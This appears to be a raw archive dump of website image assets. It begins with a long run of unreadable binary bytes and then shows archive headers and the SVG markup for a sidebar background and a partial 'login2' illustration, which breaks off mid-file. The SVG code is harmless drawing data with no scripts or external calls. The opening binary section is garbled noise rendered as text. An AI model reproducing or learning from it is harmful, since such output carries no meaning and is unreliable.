�.�r�R��&�~�+ʞ���C�M�/�4��Y�2d2c�Xw
l��Yς��x�®���Q���8��?�%���/�{%]�X��8K�^o�MƦbT���P?���9aϏ�Ėvϗ!��Z!��]W���1������?�f��W#��yUg��1j>p2��!J[���Q��Ytp����]P���}�(�F:7ϋWZlQf���R�Eg�Yv�0�Ƿ�UZb��`?�������q��^ɟ���.g��OL�����5;*�C޳]�S���od�ɼ�ೖ�~f���J�p����ș��
��J�~�M��q]�.v�xxҳ?A�v�p�ȩfdz1[.�d�j>q�{K?&�q��]���wևlu�-��6L�syb���
�#*���Ј�H��-�&K�Usp{ �\������]evx�A�p��i��)�+���-9�*�튪�㟷��H,Շ&ֻ�z������5�jY�o���|7�<�o��=���fl�9��	
{a�J��8T��q��rF8#�P�!t�����G�gH��y�$�J9u��p0��Y��0��t���%P�At��[�ZA�$4��w�kU<Uc�M�ӗz0�!�c-$�[G48޻���V�����L�L�a�Z�ݒ��#,"5G��bgu�A�:���/dx�I^�cQ��z�ww��;'�X.�@�:ᶳ�rs#�Q�"CI^�V�b�va^~H��포rT��y��i�Hq=q��i�н�H��t-��?��D]�g,a?�ֈ�0�R�!!ĪM>?X5!*`w�=%h�wd�<��+:U<F}$
aP�jQ�uˢ>�V��NM]h/sBE=2G��c�964�r����sm\�m��2�Fwٲ�P�GO������v�Qx��7�~ܛ�Y�q��0gw{�w�m��-�3�xM���Al�ƞ�@0v[��]���T�7�Nt�lU�ox{�[��(4N51�Y�и^.0��W29gɧ���A2�4��4�S�L���ޗ��yѺ�";y�-r�,9�T�0T;��*�ʤ$���ԳU�T�z�|Iˌ�BMlI]�t��~Y��xja�|P�ǙU�Q.x�B�zy����y\dS3.>X���sRn���3d��h�_q���D�}���Y��{�A��c��A="�}��)Iǘ,MGq�&���Dy#
�G�e=��~W�����&�i�G7л.e����D�!��H�f剩����-j�~Tw����O����I����(>�k9�
슟�ʟ��o8q�ڗ~�v��-��.2�!@#Q"��.5��'K?8�R���7��B�v�*i��Cc�ii��5�KNޒ�<r�� ���*x𠱬Vl�q���nDBܳx�*P�����!�A׸^��$%������Y�,���9�J����÷҆Jr���S�-1�����R�ڒcS�?�r�
%xK����RxA��|���"h�!��H��:Nٯ�S+�
-��Ԫ�lY@�~ds���.ǭ,$Z�UF�� ;��Eؠk˥�B8�5,%Q^/+m[�dn�"�!>D#tG�����BUD���YDo��B5[s�p�p$s.��^3*��}+�(�ʝ�&<A����௣{(�����揦:=��+�o_�"D�'���_E;�T����E�#�[���=���i,(���x��c�D��Έ�� ��L2����Ha��cOD��
c��@<\�8��`�Pq�}�D@:!��3z�W�2��ͺ ��f��^}�1,F�re6��v�H�OO=2\r�nFгh.�7ڏ!�B�]�!�z'�Dn��G�(SS,O
@^�<9�4_E[��^ѝ���Q�f������1�(u���y���,/�����О�#P�v�!�)j�m��T�7�����Iz��m��n�� �Fϻ*bC�?�wr+J�fE�5T~d6U�2��9����
�씚�-=�u�H9����W���PPPC��#FH�ɩ�	���.��<��S�o��ʝ��K�z�T�v^�^�wC��O�4Qk��š���N�}|��I��mF>t.��$F�Q���d�wa�2�t�y�
�i�m�Aq��g�3ve���G��zM��XLHa��އ�U�
C�]J�`[p�ݐUH��-��B?�dH�,�����z[|���[���WE=6TʵW�XT���������hOO%u�����H�Gk�m�7���
�b��7_�a�1�x8�Khg�+6P���AhI�E{��"�Ӥ]!���k!���&W]�]��Z�%.�;)�a�?V��.�*w��a�?�*�����"8�	obg�6��X��e���s�ɥ4J�h5�ʢ��*�%;�i�����򛚺T�ᣴ��}˵]j4C����8���i��F	�>p��©ְ�|�[�q��Ö���@�!2DJ���K���(��<˭sUX�T�\f����=�$���E�Gъ�b��Ӿ�����]�Yj,���"$EtGJ��9����b��M�/�
����:� Sm	˕L�d��h���%q�*\��_Գ�8jEBF�$�'IA;�J�Ƣ��8 ?eێ�SV�,1��F�Ꮇ��$����JDjtG��?��찐�@b�1V��G��%HP
P��D�U;�R8���fp��~R��Y�d5��$��ˏ�N�U�-;��YS%="5^}����L�K
�01B��4^�(~�Qd�p'J��H���K��w�)�ퟝz�:!�2OZS���^�Hx*���=�F�+�0?�y��Sl		T$���O�������*G�"�s7���MI�5���8��)���^��rC�4��/��@>W�k@��.t.�V��l��"�djn�"����	ҽ�Dwv�z��1����s�CC�⥬(d�i���zy�~a�̽�䇆Z����L��L>pS6k�ՠ4�t|�ɩ��+Ȇ�w�ۺ�Eb�Ov��R��N����"Uo��y����x�b�����p���"""���H��չ�< `ZD��l��,�^!½�|�:T�`[E�ϒ\��p�'q��w �t*bl��hϟ��B7��:Z��>�1WDi�#�'e
.n�4ޟ�L�EK�C
��_��;���9�:v�h��<��k��>M:T�I��-�é32?X7�UW�w����:yt�<eUѼ��TY{�N�T˴n��=�:��`|���AJ1y��?���XG�:JH�����S/ܗ���q.7�������:�h��o��X�=��ػ4ѵϤ}pM>56��*Y��.u(�F�D�i�<�zc{��Eޏ���
�k��(EO5�M�ʭ,���V��w��C�B�='`�~~\=d��N��~j�c�k9�$"4��<���CS������ț�ꂛ��Vh5[��X�"C܊���T�J�lo�7v>�6�]*�UʹC�0~�&Kc��r�~d����^R�q�,8�̥�	�Eyc����?�����#"�6H��1D9�dɡ�(qo#,"��S�DX��\QZ�Ji�"��B�?̏X�4QkQ�6�݅QB�v#��C�!"��L(P�C���Q�Q�Q�������?�����?��images/sidebar-bg.svg000066600000000402151150443020010524 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="420" height="1200" viewBox="0 0 420 1200">
  <path id="Path_188" data-name="Path 188" d="M12,0H358a62,62,0,0,1,62,62L300,1138a62,62,0,0,1-62,62H12a12,12,0,0,1-12-12V12A12,12,0,0,1,12,0Z" fill="#e5f8ff"/>
</svg>
images/login2.svg000066600000110300151150443020007716 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="419.982" height="266.147" viewBox="0 0 419.982 266.147">
  <g id="login2" transform="translate(0 -169.273)">
    <g id="Group_4" data-name="Group 4">
      <path id="Path_1" data-name="Path 1" d="M299.44,391.44H416.2l3.76-74.09H295.68Z" fill="#ebebeb"/>
      <g id="Group_1" data-name="Group 1">
        <path id="Path_2" data-name="Path 2" d="M303.88,326H408.81l-1.59,24.81H305.24Z" fill="none" stroke="#dbdbdb" stroke-miterlimit="10" stroke-width="1"/>
        <path id="Path_3" data-name="Path 3" d="M307.09,358.09l1.11,22.31h97.62l1.4-22.31Z" fill="none" stroke="#dbdbdb" stroke-miterlimit="10" stroke-width="1"/>
        <path id="Path_4" data-name="Path 4" d="M367.65,340.74H346.66l-.69-5.29h22.37Z" fill="none" stroke="#dbdbdb" stroke-miterlimit="10" stroke-width="1"/>
        <path id="Path_5" data-name="Path 5" d="M367.65,371.89H346.66l-.69-5.29h22.37Z" fill="none" stroke="#dbdbdb" stroke-miterlimit="10" stroke-width="1"/>
      </g>
      <g id="Group_2" data-name="Group 2">
        <path id="Path_6" data-name="Path 6" d="M315.63,391.44l-1.13,8.07-2.28,16.22h-4.46V391.44Z" fill="#ebebeb"/>
        <path id="Path_7" data-name="Path 7" d="M315.63,391.44l-1.13,8.07h-6.74v-8.07Z" fill="#dbdbdb"/>
      </g>
      <g id="Group_3" data-name="Group 3">
        <path id="Path_8" data-name="Path 8" d="M400.01,391.44l1.13,8.07,2.29,16.22h4.45V391.44Z" fill="#ebebeb"/>
        <path id="Path_9" data-name="Path 9" d="M400.01,391.44l1.13,8.07h6.74v-8.07Z" fill="#dbdbdb"/>
      </g>
    </g>
    <path id="Path_10" data-name="Path 10" d="M419.96,415.73l-52.49.24-52.5.09-104.99.17-104.99-.17-52.49-.09L0,415.73l52.5-.24,52.49-.09,104.99-.17,104.99.17,52.5.09Z" fill="#263238"/>
    <g id="Group_41" data-name="Group 41">
      <g id="Group_49" data-name="Group 49">
        <g id="Group_5" data-name="Group 5">
          <path id="Path_11" data-name="Path 11" d="M43.59,415.08l171.54.74c41.69-32.74,46-81.25,16.26-110.65-18-17.78-40.86-14.2-62.63-17.02-.02,0-.04-.01-.06-.01-7.58-.99-15.02-2.76-22.08-6.48-22.41-11.82-35.05-39.72-53.9-63.18-2.35-2.94-4.8-5.8-7.38-8.56-15.51-16.56-46.37-17.1-62.51,6.18C-18.2,275.24.58,363.27,43.59,415.08Z" fill="#ffc727"/>
          <path id="Path_12" data-name="Path 12" d="M39.78,279.75c4.49,70.38,85.77,96.65,136.53,75.57,44.14-18.34,29.69-60.17-7.56-67.17-.02,0-.04-.01-.06-.01-7.58-.99-15.02-2.76-22.08-6.48-22.41-11.82-35.05-39.72-53.9-63.18-28.09-14.59-56.22,9.74-52.93,61.28Z" opacity="0.1"/>
        </g>
        <g id="Group_40" data-name="Group 40">
          <g id="Group_8" data-name="Group 8">
            <g id="Group_6" data-name="Group 6">
              <path id="Path_13" data-name="Path 13" d="M193.92,426.16c-2.65-.97-62.43-48.75-63.56-52.01-.43-1.24,6.02-10.35,14.12-21.14,1.75-2.33,3.57-4.73,5.44-7.15,12.08-15.74,25.27-32.16,25.27-32.16l40.08,31.84L188.9,376.82l-5.78,6.87s14.71,28.53,15.56,32.24-2.11,11.18-4.76,10.21Z" fill="#eb9481"/>
              <path id="Path_14" data-name="Path 14" d="M193.91,426.16c-2.64-.97-62.42-48.74-63.55-52-.36-1.01,3.84-7.23,9.79-15.31,8.69,10.39,39,41.32,47.28,45.46,5.26,2.63,4.21-2.53,2.25-7.66,4.04,8.07,8.53,17.3,9,19.3.83,3.71-2.11,11.19-4.76,10.22Z" fill="#263238"/>
            </g>
            <g id="Group_7" data-name="Group 7">
              <path id="Path_15" data-name="Path 15" d="M255.75,284.32c-2.75,20.82-54.07,80.94-60,87.83-.87,1.02-1.35,1.57-1.35,1.57L151.95,341.1l.49-.63,37.38-48.95S128,327.59,97.07,311.22c-13.88-7.35-24.18-20.42-24.18-20.42l40.37-21.52s11.17,3.61,18.31,2.57c24.61-3.6,79.75-24.54,92.83-24.01,16.88.69,33.87,17.38,31.35,36.48Z" fill="#263238"/>
              <path id="Path_16" data-name="Path 16" d="M195.41,304.47a54.862,54.862,0,0,0-11.84-4.74l.19-.26c7.17,2.22,14.79,4.93,19.36,11.24,2.1,2.92,3.41,6.8,2.58,10.4a6.716,6.716,0,0,1-7.63,5.17c-9.49-1.06-11.16-12.92-18.57-17.19a9.324,9.324,0,0,0-2.34-.96l.19-.25a12.081,12.081,0,0,1,4.18,2.26c3.56,2.91,5.49,7.15,8.31,10.69,2.71,3.39,7.21,6.44,11.73,4.76,4.98-1.83,4.62-8.31,2.73-12.27-1.84-3.86-5.25-6.73-8.89-8.84Zm-8.56,53.86a8.349,8.349,0,0,0-1.46,8.46l.44.33a10.1,10.1,0,0,1-.39-1.25c-1.27-5.06,1.97-8.95,6.8-10.08,4.54-1.06,9.15.08,13.74-.33a13.476,13.476,0,0,0,4.69-1.21c.14-.18.29-.36.43-.53-4.27,2.41-9.45,1.28-14.08,1.28-3.54,0-7.64.59-10.16,3.33Zm-20-36.73c2.06,6.86,8.75,12.19,15.27,14.4a25.8,25.8,0,0,0,12.33.99c4.97-.78,10.39-2.82,15.34-.94,4.93,1.87,6.84,7.96,5.28,12.73.15-.2.31-.39.46-.59a11.892,11.892,0,0,0-.06-6.07,9.255,9.255,0,0,0-5.6-6.35c-4.48-1.7-9.4-.2-13.9.65a26.691,26.691,0,0,1-14.15-.83,25.36,25.36,0,0,1-11.28-7.93,19.394,19.394,0,0,1-3.45-6.39l-.25.33Zm-6.35,26.07.24.18a24.642,24.642,0,0,1,1.24-3.05c1.58-3.18,4.8-5.61,8.48-4.29,4.12,1.46,6.64,6.39,6.76,10.55a29.376,29.376,0,0,1-1.28,8.47l.25.19a36.274,36.274,0,0,0,1.34-7.59,13.2,13.2,0,0,0-3.85-9.92c-2.27-2.2-5.49-3.14-8.39-1.58-2.42,1.28-3.67,3.87-4.55,6.35-.08.23-.17.46-.24.7Zm77.18-92.44a9.9,9.9,0,0,1,2.85-1.91,3.124,3.124,0,0,0-.3-.2,6.594,6.594,0,0,0-.65.33,9.215,9.215,0,0,0-4.74,9.45c.57,4.62,3.36,8.73,3.01,13.51a6.52,6.52,0,0,1-3.3,5.63,7.194,7.194,0,0,1-7-.83c-4.33-2.96-5.23-9.34-5.32-14.16a32.935,32.935,0,0,1,.91-8.4c.57-2.35,1.5-4.61,1.9-7a10.9,10.9,0,0,0,0-3.78,2.261,2.261,0,0,0-.26-.01c.48,2.69-.38,5.37-1.15,7.91a34.888,34.888,0,0,0-1.45,14.95c.53,4.02,1.84,8.7,5.53,10.97,2.86,1.77,6.88,1.78,9.04-1.08,2.21-2.91,1.56-7.14.51-10.37-1.6-4.97-4.02-10.73.43-15Zm-1.53,65.58c.15-.21.31-.43.45-.63.93-4.85.97-10.11,5.03-13.36a9.864,9.864,0,0,1,5.05-2.02c.08-.13.17-.26.24-.39a10.823,10.823,0,0,0-4.27,1.35c-5.43,3.1-5.24,9.47-6.5,15.04Zm-19.61,3.43c2.34,4.47,8.29,7.08,13.11,5.58.13-.18.25-.34.38-.52a10.163,10.163,0,0,1-6.39.18,11.188,11.188,0,0,1-7.96-8.63,16.736,16.736,0,0,1,3.2-13.06c2.91-3.91,7.18-6.57,11.62-8.42,7.66-3.18,16.98-3.56,23.56-8.96.1-.25.19-.5.29-.75a20.216,20.216,0,0,1-4.52,3.07c-4.55,2.27-9.61,3.16-14.46,4.6a38.507,38.507,0,0,0-12.01,5.63c-6.35,4.69-10.8,13.65-6.81,21.28Zm-35.42-65.62c-.1.04-.19.07-.29.1a19.181,19.181,0,0,1,2.6,3.49c4.93,8.41,4.27,18.83,8.98,27.35,1.85,3.33,4.55,6.36,8.18,7.76a12.621,12.621,0,0,0,9.8-.15,8.863,8.863,0,0,0,4.97-8.19c-.04-3.85-2.01-7.57-4.54-10.37-3.17-3.51-7.33-5.93-10.88-9.01a22.182,22.182,0,0,1-7.62-12.37c-.12-.63-.21-1.26-.27-1.9-.09.02-.18.06-.27.08a20.545,20.545,0,0,0,2.17,7.3c2.04,3.97,5.35,6.88,8.84,9.54,3.78,2.89,7.82,5.67,10.23,9.87,2.27,3.97,3.17,9.33-.24,12.95-2.74,2.92-7.3,3.37-10.98,2.32-4.35-1.25-7.47-4.78-9.49-8.7-4.38-8.56-3.75-18.94-8.91-27.15a17.558,17.558,0,0,0-2.28-2.92ZM157.9,274.13a30.535,30.535,0,0,0,3.84,12.2,23.091,23.091,0,0,0,9.29,8.67,46.906,46.906,0,0,0,6.7,2.84c.13-.06.26-.13.38-.19a41.14,41.14,0,0,1-8.69-3.91,22.774,22.774,0,0,1-9.13-10.99,29.458,29.458,0,0,1-1.59-17.43c-.11.02-.2.06-.3.08a26.691,26.691,0,0,0-.51,8.72Zm-22.79,39.19c.11-.01.2-.04.31-.06,1.28-3.99,3.68-7.56,8.14-8.47a11.373,11.373,0,0,1,10.3,3.14c.08-.04.17-.06.25-.1a11.551,11.551,0,0,0-4.36-2.83,11.185,11.185,0,0,0-10.12,1.24A13.24,13.24,0,0,0,135.11,313.32Zm-29.04,1.08c.26.07.53.12.82.17a5.379,5.379,0,0,1,.9-.04,6.84,6.84,0,0,1,2.61.58c.26.04.52.06.8.08a7.794,7.794,0,0,0-5.13-.8Zm30.5-32.49c-.2,3.49.05,7.08,2.25,9.97,1.9,2.5,5.11,3.02,7.28.49,2.78-3.23,3.13-8.57,2.89-12.61a50.641,50.641,0,0,0-2.19-11.18,2.8,2.8,0,0,0-.31.08c.32,1.07.62,2.13.88,3.18,1.3,5.25,2.01,10.85.5,16.12-.68,2.4-1.95,5.39-4.75,5.77-2.09.29-3.71-1.31-4.68-2.97-2.26-3.87-1.68-8.4-1.26-12.67.24-2.47.55-4.96.7-7.44a2.274,2.274,0,0,1-.3.06c-.24,3.73-.78,7.44-1.01,11.18Zm-24.78-6.19c.45,4.84-.19,9.65.01,14.48.17,4.02,1.32,8.14,4.76,10.56a6.884,6.884,0,0,0,9.33-.96c2.9-3.22,2.92-7.66,2.04-11.67-1.18-5.38-3.03-10.67-4.57-15.95-.06-.2-.12-.42-.19-.63-.12-.02-.24-.05-.36-.06.07.26.15.51.23.76.8,2.71,1.58,5.41,2.38,8.1,1.49,5.05,4.03,11.06,2,16.29a8.1,8.1,0,0,1-4.92,4.98,7.072,7.072,0,0,1-6.74-1.96c-4.02-3.75-3.77-9.57-3.54-14.6a56.076,56.076,0,0,0-.67-13.33c-.08-.44-.2-.92-.33-1.4l-.29.15a37.272,37.272,0,0,1,.86,5.23ZM76.82,288.67c4.67,4.79,7.72,11.41,14.9,12.8,2.79.53,6.05.17,7.96-2.16,2.69-3.26,1.37-7.99-.11-11.45-1.31-3.07-3.1-5.88-4.69-8.81l-.26.14c.39.75.82,1.5,1.24,2.22,2.46,4.33,6.08,9.9,4.84,15.13-1.06,4.46-5.76,5.45-9.67,4.44-6.57-1.68-9.55-7.88-13.93-12.45l-.27.14Z" fill="#455a64"/>
              <path id="Path_17" data-name="Path 17" d="M203.25,273.33a50,50,0,0,0-3.86,4.94c-1.32,1.73-2.66,3.45-3.98,5.18l-.04.05c.23-.51.46-1.02.71-1.52.83-1.72,1.5-3.51,2.48-5.16.06-.1-.09-.19-.16-.1-1.01,1.64-2.19,3.19-3.05,4.92-.41.81-.79,1.63-1.15,2.47-.2.46-.4.91-.58,1.38a6.607,6.607,0,0,0-.24.67c-.59.8-1.18,1.61-1.74,2.43-1.26,1.82-2.37,3.75-3.64,5.56-.07.1.09.19.16.09,1.29-1.7,2.74-3.29,4.05-4.97,1.33-1.72,2.6-3.48,3.85-5.26,1.22-1.74,2.41-3.49,3.63-5.23a52.593,52.593,0,0,0,3.68-5.37.073.073,0,0,0-.11-.09Z" fill="#37474f"/>
              <path id="Path_18" data-name="Path 18" d="M160.46,333.68c2.33,2.16,4.84,4.16,7.3,6.17s4.95,4.03,7.44,6.02c4.98,3.99,9.95,8.01,14.99,11.94,2.77,2.15,5.56,4.28,8.44,6.28.13.09.27-.12.16-.22-4.72-4.29-9.76-8.22-14.74-12.2s-9.99-7.96-15.04-11.88c-2.76-2.14-5.51-4.35-8.4-6.32-.12-.08-.24.1-.14.2Z" fill="#37474f"/>
            </g>
          </g>
          <g id="Group_36" data-name="Group 36">
            <path id="Path_19" data-name="Path 19" d="M126.24,225.3a2.914,2.914,0,0,1-1.35,2.62,21.064,21.064,0,0,1-2.3,1.36c.12-2.91-.11-5.91-.28-8.77-.2-3.37-.62-6.66-1.11-9.98,0-.05-.08-.04-.08.01.26,3.37.41,6.76.58,10.14.15,2.95.08,5.95.25,8.9-.82.38-1.66.73-2.5,1.04.02-1.03.03-2.06.02-3.1,0-3.11-.28-6.18-.44-9.28,0-.08-.1-.08-.1,0,.12,3.02-.01,6.08-.04,9.1,0,1.17-.03,2.33-.06,3.5-.58.2-1.16.39-1.73.56-.38.12-.76.23-1.15.32-.02-2.04-.16-4.09-.24-6.09-.12-3.23-.44-6.44-.61-9.67a.08.08,0,1,0-.16,0c.15,3.21.1,6.45.18,9.67.05,2.07.02,4.19.08,6.28a44.091,44.091,0,0,1-15.65.82,67.361,67.361,0,0,1-8.98-1.71c-.71-.18-2.54-.71-4.33-1.26-.02-.97-.06-1.95-.07-2.89-.02-2.15-.15-4.32-.11-6.46a.04.04,0,1,0-.08,0c-.11,2.16-.34,4.3-.38,6.46-.02.87-.05,1.77-.06,2.67-.64-.2-1.26-.4-1.8-.58.2-4.07-.05-8.19-.07-12.24,0-.1-.12-.1-.13,0-.16,3.98-.54,8.01-.49,12.01a6.115,6.115,0,0,1-1.19-.49c-.89-.74-.29-16.8-.24-20.55.1-6.99.9-17.29,2.88-23.99a20.445,20.445,0,0,1,11.26-13.45c2.64-1.18,5.72-1,8.54-.91a16.709,16.709,0,0,1,8.27,2.61,17.821,17.821,0,0,1,6.28,5.77,35.547,35.547,0,0,1,3.61,8.62c2.09,7.1,2.86,26.55,3.37,33.45.13,1.83.36,3.69.39,5.52Z" fill="#263238"/>
            <g id="Group_13" data-name="Group 13">
              <g id="Group_11" data-name="Group 11">
                <path id="Path_20" data-name="Path 20" d="M90.97,225.97c10.27,19.45,26.73,41.66,32,44.58,6.67,3.68,43.16,2.13,44.96,1.85,4.46-.72,6.03-32.77,1.23-32.21-7.32.86-33.3,6.28-35.25,5.11-2.03-1.22-16.47-11.98-31.68-24.43-10.5-8.6-17.63-6.97-11.26,5.1Z" fill="#eb9481"/>
                <g id="Group_10" data-name="Group 10">
                  <path id="Path_21" data-name="Path 21" d="M163.17,271a95.522,95.522,0,0,0,13.22,3.23c3.54.43,13.75,1.38,14.61-2.46.59-2.62-5.35-3.89-9.53-4.88-2.2-.52-5.1-2.26-4.7-3.69.68-2.49,6.37-1.03,10.19.43,7.39,2.82,17.54,8.41,21.1,4.31,1.35-1.55-.85-3.61-3.87-5.49,4.74,1.99,9.68,3.45,11.24,1.79.9-.95.77-2.03,0-3.16a3.044,3.044,0,0,0,3.23-1.06c1.16-1.69.12-3.74-1.76-5.7a1.677,1.677,0,0,0,1.13-1.04c2.22-4.99-14.7-15.52-20.01-15.89-15.64-1.12-32.43,3.73-32.43,3.73-5.14,5.69-2.42,29.87-2.4,29.88Z" fill="#eb9481"/>
                  <g id="Group_9" data-name="Group 9">
                    <path id="Path_22" data-name="Path 22" d="M183.04,253.52a26.02,26.02,0,0,1,10.68,2.22c4.23,1.9,7.24,4.43,10.93,6.88a.09.09,0,0,1-.1.15c-1.76-1.16-8.95-5.44-10.78-6.38a24.7,24.7,0,0,0-10.74-2.82.03.03,0,0,1,0-.06Z" fill="#263238"/>
                    <path id="Path_23" data-name="Path 23" d="M184.81,246.67a61.531,61.531,0,0,1,12.35,2.14c4.36,1.39,8.05,4.22,11.67,6.93q3.255,2.445,6.41,5.02c.09.07,0,.22-.1.15q-5.52-4.215-11.29-8.09a32.837,32.837,0,0,0-11.76-4.98c-2.41-.49-4.84-.8-7.28-1.11-.05,0-.04-.08,0-.07Z" fill="#263238"/>
                    <path id="Path_24" data-name="Path 24" d="M188.12,240.39c3.97.16,7.44.29,11.18,1.79,4.95,1.99,10.06,5.88,11.85,7.26,1.98,1.52,3.91,3.11,5.81,4.73.08.07-.04.2-.11.14a130.412,130.412,0,0,0-13.63-9.7,25.454,25.454,0,0,0-7.26-3.19,46.973,46.973,0,0,0-7.84-1,.015.015,0,1,1,0-.03Z" fill="#263238"/>
                  </g>
                </g>
              </g>
              <g id="Group_12" data-name="Group 12">
                <path id="Path_25" data-name="Path 25" d="M105.78,254.44l11.52-25.25a179.51,179.51,0,0,0-17.54-12.15c-10.3-6.29-15.27-2.72-8.98,12.29A103.532,103.532,0,0,0,105.78,254.44Z" fill="#455a64"/>
                <path id="Path_26" data-name="Path 26" d="M113.62,227.51c-1.07,1.77-1.87,3.72-2.79,5.57-.87,1.77-1.75,3.54-2.56,5.34q-2.535,5.595-4.83,11.29c-.03.07.08.12.11.06q2.7-5.445,5.26-10.95c.85-1.83,1.65-3.68,2.45-5.53.82-1.9,1.79-3.77,2.47-5.73.02-.07-.08-.12-.11-.06Z" fill="#263238"/>
                <path id="Path_27" data-name="Path 27" d="M90.78,229.34a103.783,103.783,0,0,0,15,25.11l9.63-21.1L90.39,214.34c-3.11,1.06-3.41,5.95.38,15.01Z" opacity="0.1"/>
              </g>
            </g>
            <g id="Group_15" data-name="Group 15">
              <path id="Path_28" data-name="Path 28" d="M52.3,299.19c2.35.83,70.36-16.76,70.36-16.76l-7.3-23.65s4.15-7.42,2.53-14.72c-2.16-9.75-19.63-26.17-21.01-27.15-5.55-3.91-10.85-4-15.6-1.64-19.8,9.81-28.99,83.92-28.99,83.92Z" fill="#455a64"/>
              <g id="Group_14" data-name="Group 14">
                <path id="Path_29" data-name="Path 29" d="M93.77,256.47a59.275,59.275,0,0,1,8.82-.72c1.47,0,2.92.09,4.39.19.73.05,1.46.08,2.19.11a9.145,9.145,0,0,0,2.28-.13.051.051,0,1,1,.02.1,16.978,16.978,0,0,1-2.11.49,14.706,14.706,0,0,1-2.1.12c-1.49,0-2.98-.06-4.46-.07-3-.02-6-.04-9,.16a.122.122,0,0,1-.02-.24Z" fill="#263238"/>
                <path id="Path_30" data-name="Path 30" d="M87.36,260.76a65.376,65.376,0,0,1,6.99-2.11c1.19-.28,2.38-.49,3.58-.67.58-.09,1.15-.16,1.73-.23.64-.08,1.28-.07,1.92-.15.07,0,.09.09.02.1-.6.1-1.18.29-1.77.43s-1.18.26-1.78.39c-1.19.27-2.37.54-3.55.8-2.38.51-4.74,1.04-7.1,1.63-.13.03-.16-.15-.05-.19Z" fill="#263238"/>
              </g>
            </g>
            <g id="Group_23" data-name="Group 23">
              <g id="Group_21" data-name="Group 21">
                <g id="Group_20" data-name="Group 20">
                  <path id="Path_31" data-name="Path 31" d="M73.08,223.73c-9.46,13.94-29.71,61.97-19.92,69.41,9.86,7.5,57.36-9.63,70.33-17.76,3.86-2.42-14.62-26.09-19.49-26.12-4.05-.03-22.51,11.24-23.24,10.13-.82-1.25,1.76-11.14,4.62-29.47,3.29-21.13-6.85-14.2-12.29-6.18Z" fill="#eb9481"/>
                  <g id="Group_19" data-name="Group 19">
                    <g id="Group_18" data-name="Group 18">
                      <path id="Path_32" data-name="Path 32" d="M123.34,238.68c9.77-2.54,12.66-1.69,19.77-8.2,4.66-4.28,9.4-3.13,7.17,3.06-3.64,10.13-15.55,16.05-20.28,16.91l-6.67-11.77Z" fill="#eb9481"/>
                      <path id="Path_33" data-name="Path 33" d="M98.08,251.3s10.44-7.49,20.58-11.22c7.01-2.58,22.9-6.49,40.17,7.62,4.1,3.35,7.56,11.02-1.12,7.99-6.16-2.16-9.42-5.39-13.23-5.99,0,0,3.25,10.29-.27,14.26a97.691,97.691,0,0,1-9.92,9.73A20.484,20.484,0,0,1,132.3,272s-3.63,3.4-11.2,3.56L98.08,251.31Z" fill="#eb9481"/>
                      <g id="Group_17" data-name="Group 17">
                        <path id="Path_34" data-name="Path 34" d="M125.74,238.69c3.66,1.4,11.36,4.49,16.79,9.22,6.02,5.25,16.21,16.97,12.29,21.38-2.87,3.23-7.16-.91-7.16-.91s3.19,5.74-.04,8.09c-2.95,2.14-6.07-1.26-6.07-1.26s1.34,3.81-1.9,5.33c-3.89,1.82-6.05-6.46-11.59-8.02-1.24-.35-2.32-33.83-2.32-33.83Z" fill="#eb9481"/>
                        <g id="Group_16" data-name="Group 16">
                          <path id="Path_35" data-name="Path 35" d="M135.93,253.34c3.23,1.88,9.45,8.03,11.78,14.87.05.16-.04.28-.11.15a78.418,78.418,0,0,0-11.71-14.96c-.03-.03.01-.08.05-.06Z" fill="#263238"/>
                          <path id="Path_36" data-name="Path 36" d="M130.81,259.57c2.62,1.91,8.75,8.53,10.87,15.55.05.16-.05.27-.12.14a84.15,84.15,0,0,0-10.8-15.64C130.73,259.59,130.78,259.54,130.81,259.57Z" fill="#263238"/>
                        </g>
                      </g>
                    </g>
                    <path id="Path_37" data-name="Path 37" d="M144.47,249.63c3.35.58,5.63,1.92,8.59,3.5a47.112,47.112,0,0,0,4.47,2.16c1.4.56,3.47,1.41,4.74.13a2.66,2.66,0,0,0,.29-2.71,13.153,13.153,0,0,0-2.21-3.48c-.03-.04.03-.1.07-.06a19.085,19.085,0,0,1,2.33,3.05,4.379,4.379,0,0,1,.59,2.49c-.27,1.84-2.34,2.32-3.89,2a14.3,14.3,0,0,1-2.69-.94c-.84-.36-1.66-.76-2.46-1.18-1.66-.86-3.27-1.82-4.91-2.7a42.455,42.455,0,0,0-4.94-2.16.059.059,0,0,1,.04-.11Z" fill="#263238"/>
                    <path id="Path_38" data-name="Path 38" d="M152.57,260.23a101.417,101.417,0,0,0-8.15-10.51c-.04-.04.01-.11.06-.07,2.8,2.1,7.59,7.98,8.77,9.9,1.17,1.9,2.54,4.35,2.8,6.59.39,3.38-1.78,4.28-2.58,4.54a4.4,4.4,0,0,1-2.93-.14,8.847,8.847,0,0,1-2.89-2.15c-.04-.04.01-.11.06-.07,1.33,1.2,3.42,2.28,5.23,1.83a3.107,3.107,0,0,0,1.96-1.37,4,4,0,0,0,.22-2.79,18.719,18.719,0,0,0-2.54-5.77Z" fill="#263238"/>
                  </g>
                </g>
                <path id="Path_39" data-name="Path 39" d="M80.76,259.39a53.015,53.015,0,0,1-4.61,3.03,55.009,55.009,0,0,1-4.85,2.62,26.358,26.358,0,0,1,4.47-3.26,27.529,27.529,0,0,1,4.99-2.38Z" fill="#263238"/>
              </g>
              <g id="Group_22" data-name="Group 22">
                <path id="Path_40" data-name="Path 40" d="M57.28,249.12l27.67-2.1a178.393,178.393,0,0,0,2.17-21.23c.53-12.06-4.99-14.68-15.1-1.93a103.4,103.4,0,0,0-14.75,25.26Z" fill="#455a64"/>
                <path id="Path_41" data-name="Path 41" d="M84.65,242.98c-2.07-.08-4.16.15-6.23.25-1.97.09-3.95.18-5.91.34-4.09.32-8.15.73-12.22,1.22-.07,0-.07.13,0,.13q6.075-.255,12.13-.68c2.01-.14,4.02-.33,6.02-.52,2.06-.2,4.17-.25,6.21-.6a.066.066,0,0,0,0-.13Z" fill="#263238"/>
                <path id="Path_42" data-name="Path 42" d="M85.74,244.27c.17-1,.3-2,.42-3.01.02-.21.05-.41.07-.62A35.3,35.3,0,0,0,87.3,237c0-.04-.05-.07-.07-.02a28.885,28.885,0,0,0-.9,2.77,45.011,45.011,0,0,0,.32-4.63c0-.05-.07-.05-.08,0-.37,1.99-.6,4.01-.9,6.02-.14.97-.74,5.76-.8,5.77,0,0-2.31.25-2.45.31-.16.07-.08.19-.02.19s2.86-.21,2.86-.21c.01-.03.32-2.07.46-2.92Z" fill="#263238"/>
              </g>
            </g>
            <g id="Group_26" data-name="Group 26">
